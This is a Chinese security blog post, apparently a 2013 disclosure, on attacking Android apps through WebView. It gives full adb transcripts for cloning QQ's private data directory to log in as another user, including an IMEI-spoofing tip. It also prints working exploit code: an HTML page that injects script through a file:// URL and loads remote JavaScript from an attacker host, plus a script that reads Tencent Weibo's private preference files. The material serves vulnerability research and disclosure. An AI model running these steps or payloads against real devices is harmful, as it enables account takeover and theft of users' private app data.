RSS Feed
更好更安全的互联网

Attack Your Android Apps By Webview

2013-03-17

by SuperHei@知道创宇 2012/12/6

一、背景

在《webzine0x06》的文章《Android应用安全之android平台上的xss攻击》详细介绍了android平台上的浏览器跨域及应用apk上的xss漏洞的从发现到利用过程。在提到浏览器跨域漏洞的利用的时候有如下的描述:
<<<<<<<<<<<<<<<<<<<<
对于android上的浏览器来说,一个浏览器就是一个Application,对于系统来说分配给这个浏览器一个uid。这个可以说明2个问题:

* 对应用程序的owner数据文件有读取权限
* 对系统里设置了other可读的文件有读取权限
>>>>>>>>>>>>>>>>>>>
所以《Android应用安全之android平台上的xss攻击》一文里重点分析寻找“对系统里设置了other可读的文件有读取权限”,而忽视了“对应用程序的owner数据文件有读取权限”的利用。这是因为在《Android应用安全之android平台上的xss攻击》一文里提到的浏览器跨域漏洞利用效果的“致命的弱点:为了弥补在显示和操作方面的先天不足,广泛采用apk机制,也就是说把各大sns应用都开发自己的手机客服端应用,这个方式直接扼杀了浏览器跨域漏洞跨单纯http协议之间上利用价值。”。也正是这个原因,所以各大sns网络的应用就在本身集成了“浏览器功能”(Webview),而在以后的测试中发现,这个机制可能给用户带来致命的威胁!

二、安卓应用“数据克隆”设计缺陷

对于安卓的各大SNS网络应用,为了登录的方便都是默认设置打开“记住密码”功能,这样无疑提高了用户体验。但是也带来了安全隐患!在记住密码的app登录后,我们退出改应用或者结束进程。当我们重新点击该应用的图标时,可以直接登录。那么当我们把该应用的数据文件直接copy到另外的手机上,会不会可以直接登录呢?

我们用安卓qq测试下:

>adb devices
List of devices attached
emulator-5554   device
emulator-5556   device

先在emulator-5554上登录qq,默认“记住密码”不要修改。登录成功后执行如下:

>adb -s emulator-5554 pull  /data/data/com.tencent.mobileqq/ d:\\aab
pull: building file list...
pull: /data/data/com.tencent.mobileqq/databases/qcenter.Db -> d:\\aab/databases/qcenter.Db
pull: /data/data/com.tencent.mobileqq/databases/*************.db -> d:\\aab/databases/*************.db
pull: /data/data/com.tencent.mobileqq/shared_prefs/only.xml -> d:\\aab/shared_prefs/only.xml
pull: /data/data/com.tencent.mobileqq/shared_prefs/share.xml -> d:\\aab/shared_prefs/share.xml
pull: /data/data/com.tencent.mobileqq/shared_prefs/com.tencent.mobileqq_preferences.xml -> d:\\aab/shared_prefs/com.tencent.mobileqq_preferences.xml
pull: /data/data/com.tencent.mobileqq/shared_prefs/mobileQQ.xml -> d:\\aab/shared_prefs/mobileQQ.xml
pull: /data/data/com.tencent.mobileqq/shared_prefs/*************.xml -> d:\\aab/shared_prefs/*************.xml
pull: /data/data/com.tencent.mobileqq/files/ADPic/457 -> d:\\aab/files/ADPic/457
pull: /data/data/com.tencent.mobileqq/files/Skin/skinmain.xml -> d:\\aab/files/Skin/skinmain.xml
pull: /data/data/com.tencent.mobileqq/files/Skin/tab_bg_bar.png -> d:\\aab/files/Skin/tab_bg_bar.png
pull: /data/data/com.tencent.mobileqq/files/Skin/thumbnail_skin.xml -> d:\\aab/files/Skin/thumbnail_skin.xml
pull: /data/data/com.tencent.mobileqq/files/Skin/title_bg_bar.png -> d:\\aab/files/Skin/title_bg_bar.png
pull: /data/data/com.tencent.mobileqq/files/sc/ConfigStore2.dat -> d:\\aab/files/sc/ConfigStore2.dat
pull: /data/data/com.tencent.mobileqq/files/ConfigStore2.dat -> d:\\aab/files/ConfigStore2.dat
pull: /data/data/com.tencent.mobileqq/files/runningApp -> d:\\aab/files/runningApp
pull: /data/data/com.tencent.mobileqq/lib/libamrnb.so -> d:\\aab/lib/libamrnb.so
pull: /data/data/com.tencent.mobileqq/lib/libaudiohelper.so -> d:\\aab/lib/libaudiohelper.so
pull: /data/data/com.tencent.mobileqq/lib/libcodecwrapper.so -> d:\\aab/lib/libcodecwrapper.so
pull: /data/data/com.tencent.mobileqq/lib/libCommon.so -> d:\\aab/lib/libCommon.so
pull: /data/data/com.tencent.mobileqq/lib/liblbs.so -> d:\\aab/lib/liblbs.so
pull: /data/data/com.tencent.mobileqq/lib/libmsfboot.so -> d:\\aab/lib/libmsfboot.so
pull: /data/data/com.tencent.mobileqq/lib/libsnapcore.so -> d:\\aab/lib/libsnapcore.so
pull: /data/data/com.tencent.mobileqq/lib/libVideoCtrl.so -> d:\\aab/lib/libVideoCtrl.so
23 files pulled. 0 files skipped.
88 KB/s (4431172 bytes in 49.011s)

然后把这些文件copy到emulator-5556上,执行命令如下:

>adb -s emulator-5556 push D:\\aab /data/data/com.tencent.mobileqq/
push: D:\\aab/databases/qcenter.Db -> /data/data/com.tencent.mobileqq/databases/qcenter.Db
push: D:\\aab/databases/*************.db -> /data/data/com.tencent.mobileqq/databases/*************.db
push: D:\\aab/files/ADPic/457 -> /data/data/com.tencent.mobileqq/files/ADPic/457
push: D:\\aab/files/sc/ConfigStore2.dat -> /data/data/com.tencent.mobileqq/files/sc/ConfigStore2.dat
push: D:\\aab/files/Skin/title_bg_bar.png -> /data/data/com.tencent.mobileqq/files/Skin/title_bg_bar.png
push: D:\\aab/files/Skin/thumbnail_skin.xml -> /data/data/com.tencent.mobileqq/files/Skin/thumbnail_skin.xml
push: D:\\aab/files/Skin/tab_bg_bar.png -> /data/data/com.tencent.mobileqq/files/Skin/tab_bg_bar.png
push: D:\\aab/files/Skin/skinmain.xml -> /data/data/com.tencent.mobileqq/files/Skin/skinmain.xml
push: D:\\aab/files/runningApp -> /data/data/com.tencent.mobileqq/files/runningApp
push: D:\\aab/files/ConfigStore2.dat -> /data/data/com.tencent.mobileqq/files/ConfigStore2.dat
push: D:\\aab/lib/libVideoCtrl.so -> /data/data/com.tencent.mobileqq/lib/libVideoCtrl.so
push: D:\\aab/lib/libsnapcore.so -> /data/data/com.tencent.mobileqq/lib/libsnapcore.so
push: D:\\aab/lib/libmsfboot.so -> /data/data/com.tencent.mobileqq/lib/libmsfboot.so
push: D:\\aab/lib/liblbs.so -> /data/data/com.tencent.mobileqq/lib/liblbs.so
push: D:\\aab/lib/libCommon.so -> /data/data/com.tencent.mobileqq/lib/libCommon.so
push: D:\\aab/lib/libcodecwrapper.so -> /data/data/com.tencent.mobileqq/lib/libcodecwrapper.so
push: D:\\aab/lib/libaudiohelper.so -> /data/data/com.tencent.mobileqq/lib/libaudiohelper.so
push: D:\\aab/lib/libamrnb.so -> /data/data/com.tencent.mobileqq/lib/libamrnb.so
push: D:\\aab/shared_prefs/share.xml -> /data/data/com.tencent.mobileqq/shared_prefs/share.xml
push: D:\\aab/shared_prefs/only.xml -> /data/data/com.tencent.mobileqq/shared_prefs/only.xml
push: D:\\aab/shared_prefs/mobileQQ.xml -> /data/data/com.tencent.mobileqq/shared_prefs/mobileQQ.xml
push: D:\\aab/shared_prefs/com.tencent.mobileqq_preferences.xml -> /data/data/com.tencent.mobileqq/shared_prefs/com.tencent.mobileqq_preferences.xml
push: D:\\aab/shared_prefs/*************.xml -> /data/data/com.tencent.mobileqq/shared_prefs/*************.xml
23 files pushed. 0 files skipped.
69 KB/s (4431172 bytes in 62.108s)

进入 emulator-5556的adb shell

>adb -s emulator-5556 shell
# ls -l /data/data/
ls -l /data/data/
drwxr-x--x app_1    app_1             2012-09-24 02:43 com.android.htmlviewer
....
drwxr-x--x app_35   app_35            2012-12-06 07:17 com.tencent.mobileqq

查看com.tencent.mobileqq的uid为 app_35 而我们copy过去的数据 是root的:

# ls -l /data/data/com.tencent.mobileqq
ls -l /data/data/com.tencent.mobileqq
drwxrwxr-x root     root              2012-12-06 07:17 shared_prefs
drwxrwxr-x root     root              2012-12-06 07:16 databases
drwxrwx--x app_35   app_35            2012-12-06 07:10 cache
drwxrwx--x app_35   app_35            2012-12-06 07:16 files
drwxr-xr-x system   system            2012-12-06 07:17 lib

我们要重新chown一下:

# cd /data/data/com.tencent.mobileqq
cd /data/data/com.tencent.mobileqq
# chown app_35 *
chown app_35 *
# ls -l
ls -l
drwxrwxr-x app_35   root              2012-12-06 07:17 shared_prefs
drwxrwxr-x app_35   root              2012-12-06 07:16 databases
drwxrwx--x app_35   app_35            2012-12-06 07:10 cache
drwxrwx--x app_35   app_35            2012-12-06 07:16 files
drwxr-xr-x app_35   system            2012-12-06 07:17 lib

最后我们回到emulator-5556 登录qq,点击qq图标直接登录了....

这个测试结果告诉我们,在安卓应用使用“记录密码”功能的前提下,我们可以通过“数据克隆”,直接绕过应用的用户认证,从而完全控制该应用的权限!

[PS:在现实攻击真实手机上的qq时,因为qq在登录机制里判断的了imei号,所以修改模拟器的imei与攻击手机的一样,而手机qq的app数据里本身就存在这个imei信息,具体位于:shared_prefs\mobileQQ.xml里,另外上面的“*************”为目标的qq号。]

而实现上面的攻击方式最基本的要求就是:拥有对该应用数据的“读”权限。

三、利用Webview进行远程“数据克隆”

对于一个带有webview的应用来说,我们通过《Android应用安全之android平台上的xss攻击》里介绍过的一系列的漏洞,来读取本地文件,因为webview的owner就是该应用的owner,所以肯定就有对应用本身的访问权限。那么攻击者就可以通过应用程序的xss漏洞或者webkit的跨本地域的漏洞,配合上面提到的“数据克隆”,最终实现“攻击者访问一个url我就可以登录你的帐号”的攻击效果。

目前android的比较新的版本fix了《Android应用安全之android平台上的xss攻击》文里提到的大部分漏洞。

四、demo [这部分是2013/3/16日补充的]

我们直接利用《Android应用安全之android平台上的xss攻击》文里提到的漏洞,来实现 对“腾讯微博”(com.tencent.WBlog)自身的数据的访问。

# pwd
pwd
/data/data/com.tencent.WBlog/shared_prefs
# ls -l
ls -l
-rw-rw---- app_44   app_44        118 2013-03-16 12:58 WebViewSettings.xml
-rw-rw---- app_44   app_44        184 2013-03-16 12:56 eupstrategy.xml
# cat eupstrategy.xml
cat eupstrategy.xml
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
<string name="localversion">3.8.0.936|锟斤拷锟絅5 e锟斤拷P锟阶?Ru锟斤拷
|rqd_1.3.15_CProcStrategySync|</string>
</map>

我们可以看出/data/data/com.tencent.WBlog/shared_prefs/eupstrategy.xml 权限设置为对other不可读。但是对owner是可读的。

测试如下:我们先在微博发个link  http://192.168.1.101/android/exp-1.htm 短连接为 http://url.cn/8I5Os7 然后在app里访问这个url ,使用“电脑版”访问。就可以直接弹出eupstrategy.xml的内容了。

同理我们可以完全copy出com.tencent.WBlog的所有数据文件,然后进行“数据克隆”后,远程登录控制被攻击者的微博帐号。

上面代码如下:

exp-1.htm 的代码:

<iframe name=f style=display:none src="location.php" ></iframe>
<script>
function init(){
f.location = "file:///ssss<sc"+"ript>alert(1);eval(decodeURIComponent(location.hash.slice(1)));</sc"+"ript>/#var d = window.document;var js = document.createElement('script');js.setAttribute('src', 'http://192.168.1.101/android/11.js');d.body.appendChild(js);"
}
setTimeout(init,3000)
</script>

11.js 的代码:

var request = false;
if(window.XMLHttpRequest) {
request = new XMLHttpRequest();
if(request.overrideMimeType) {
request.overrideMimeType('text/xml');
}
} else if(window.ActiveXObject) {
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP',
'Microsoft.XMLHTTP',
'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0',
'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
for(var i=0; i<versions.length; i++) {
try {
request = new ActiveXObject(versions[i]);
} catch(e) {}
}
}

xmlhttp=request;

//获取本地文件代码
xmlhttp.open("GET", "file:////data/data/com.tencent.WBlog/shared_prefs/eupstrategy.xml", false);

xmlhttp.send(null);
var ret = xmlhttp.responseText;

alert(ret);

五、参考

《webzine0x06》http://www.80vul.com/webzine_0x06/
《Android应用安全之android平台上的xss攻击》http://www.80vul.com/webzine_0x06/PSTZine_0x06_0x05.txt

作者:niubl | Categories:技术分享 | Tags:

13条评论

  1. Mango说道:

    这个是不是跨域那个漏洞噩梦

  2. 瀚木木木说道:

     跨国PK!^_^

  3. zhoujingping说道:

    我是熊谷 裕志 你抄袭我的文章 这样不好 http://codezine.jp/article/detail/6618

  4. 北北说道:

    alert(‘碉堡’)

发表评论